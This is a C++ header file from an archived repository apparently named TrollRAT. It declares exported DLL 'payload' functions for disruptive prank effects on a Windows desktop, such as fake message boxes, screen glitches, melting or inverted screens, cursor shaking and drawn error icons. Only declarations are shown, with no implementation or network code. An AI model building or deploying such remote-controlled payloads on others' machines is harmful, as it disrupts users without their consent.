This repository has been archived on 2024-12-31. You can view files and clone it, but cannot push or open issues or pull requests.
TrollRAT/TrollRATNative/Payloads.h

25 lines
888 B
C
Raw Permalink Normal View History

#pragma once
#include <Windows.h>
#define PAYLOAD extern "C" __declspec(dllexport) void __stdcall
#define ACTION PAYLOAD
LRESULT CALLBACK msgBoxHook(int nCode, WPARAM wParam, LPARAM lParam);
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam);
BOOL CALLBACK CleanWindowsProc(HWND hwnd, LPARAM lParam);
PAYLOAD payloadMessageBox(LPWSTR text, LPWSTR label, int style, int mode);
PAYLOAD payloadReverseText();
PAYLOAD payloadSound(int sound);
2016-07-16 10:16:17 -04:00
PAYLOAD payloadGlitch(int maxSize, int power);
2016-07-16 09:15:44 -04:00
PAYLOAD payloadTunnel(int scale);
2016-07-16 10:16:17 -04:00
PAYLOAD payloadDrawErrors(int count, int chance);
PAYLOAD payloadInvertScreen();
PAYLOAD payloadCursor(int power);
PAYLOAD payloadEarthquake(int delay, int power);
PAYLOAD payloadMeltingScreen(int xSize, int ySize, int power, int distance);
2016-07-16 09:55:13 -04:00
PAYLOAD payloadTrain(int xPower, int yPower);
2016-07-17 08:36:20 -04:00
PAYLOAD payloadDrawPixels(DWORD color, int power);
ACTION clearWindows();